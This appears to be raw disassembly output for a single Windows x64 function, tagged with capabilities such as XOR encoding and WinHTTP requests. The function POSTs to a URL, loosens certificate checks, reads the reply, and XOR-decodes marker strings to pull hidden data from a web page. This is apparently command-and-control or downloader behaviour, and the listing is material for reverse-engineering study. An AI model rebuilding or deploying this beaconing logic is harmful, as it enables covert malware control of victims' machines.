Function at 0x14000201c
Capabilities:
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x228]
sub rsp, 0x300
xor sil, sil
mov r14d, r8d
mov byte [rbp + 0x248], sil
mov r15, rdx
mov rdi, rcx
call fcn.140001b28
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rcx, rbx
mov r13, rax
call fcn.140002438
test r13, r13
je 0x14000236a
mov ebx, 0x68
lea rcx, [rbp - 0x80]
mov r8d, ebx
xor edx, edx
call fcn.1400023d8
or eax, 0xffffffff
mov dword [rbp - 0x80], ebx
lea r9, [rbp - 0x80]
mov dword [rbp - 0x70], eax
xor r8d, r8d
mov dword [rbp - 0x30], eax
xor edx, edx
mov dword [rbp - 0x60], eax
mov rcx, rdi
mov dword [rbp - 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
xor ebx, ebx
test eax, eax
je 0x140002361
mov r8d, dword [rbp - 0x60]
lea rcx, [rbp - 0x10]
mov rdx, qword [rbp - 0x68]
call fcn.1400079d8
cmp dword [rbp - 0x6c], 2
lea r8d, [rbx + 0x50]
mov ecx, 0x1bb
lea rdx, [rbp - 0x10]
cmove r8w, cx
xor r9d, r9d
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x140002361
cmp dword [rbp - 0x6c], 2
lea rdx, str.POST
mov r8, qword [rbp - 0x38]
mov eax, 0x100
mov ecx, 0x800100
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x140002351
cmp dword [rbp - 0x6c], 2
jne 0x14000218f
lea edi, [rbx + 4]
mov dword [rsp + 0x40], ebx
lea ebx, [rdi + 0x1b]
mov dword [rsp + 0x44], edi
mov edx, ebx
lea r9, [rsp + 0x44]
lea r8, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
or dword [rsp + 0x40], 0x3300
lea r8, [rsp + 0x40]
mov r9d, edi
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov r9, r15
mov dword [rsp + 0x28], r14d
or r8d, 0xffffffff
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140002348
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140002348
mov edx, 0x100
lea rcx, [rsp + 0x60]
call fcn.14000cc18
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000cb28
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov rdx, rax
mov dword [rsp + 0x44], ebx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002226
mov edx, dword [rsp + 0x44]
lea rcx, [rsp + 0x60]
call fcn.14000cb78
cmp dword [rsp + 0x40], ebx
ja 0x1400021da
cmp qword [rsp + 0x70], rbx
je 0x14000233e
movdqa xmm0, xmmword [0x14001b4e0]
mov ebx, SafeArrayUnaccessData
mov rdi, qword [rsp + 0x60]
mov ecx, ebx
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], 0x2c7c
mov byte [rsp + 0x5a], 0x12
call fcn.140002534
lea r8, [rsp + 0x48]
mov r9, rax
sub r8, rax
mov rdx, rax
mov al, byte [r8 + rdx]
xor al, 0x12
mov byte [rdx], al
inc rdx
sub rbx, 1
jne 0x140002270
mov rdx, r9
mov rcx, rdi
call fcn.1400077b4
test rax, rax
je 0x14000233e
mov rdi, qword [rsp + 0x60]
mov ebx, 0xa
mov ecx, ebx
mov byte [rbp + 0x248], 1
mov dword [rsp + 0x48], 0x302f767b
mov dword [rsp + 0x4c], 0x73667376
mov word [rsp + 0x50], 0x1230
call fcn.140002534
lea r8, [rsp + 0x48]
mov r9, rax
sub r8, rax
mov rdx, rax
mov al, byte [r8 + rdx]
xor al, 0x12
mov byte [rdx], al
inc rdx
sub rbx, 1
jne 0x1400022d2
mov rdx, r9
mov rcx, rdi
call fcn.1400077b4
test rax, rax
je 0x14000233e
lea rdx, [0x14001b4c4]
mov rcx, rax
call fcn.1400077b4
lea rdx, [0x14001b4c8]
lea rbx, [rax + 1]
mov rcx, rbx
call fcn.1400077b4
mov rdi, rax
sub edi, ebx
cmp edi, 0x20
jle 0x14000233e
mov edx, edi
mov rcx, rbx
call fcn.14000769c
mov edx, edi
mov rcx, rax
mov rbx, rax
call fcn.140001b64
mov rcx, rbx
call fcn.140002438
lea rcx, [rsp + 0x60]
call fcn.14000cbf4
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov sil, byte [rbp + 0x248]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea r11, [rsp + 0x300]
mov al, sil
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret